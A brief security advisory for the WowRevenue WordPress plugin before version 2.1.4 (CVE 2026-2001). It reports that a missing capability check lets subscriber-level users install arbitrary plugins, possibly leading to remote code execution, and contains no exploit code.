WowRevenue < 2.1.4 – Subscriber+ Arbitrary Plugin Installation/Activation | CVE 2026-2001

Description

The plugin is vulnerable to unauthorized plugin installation due to a missing capability check in the 'Notice::install_activate_plugin' function. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins (from wordpress.org) on the affected site's server which may make remote code execution possible.
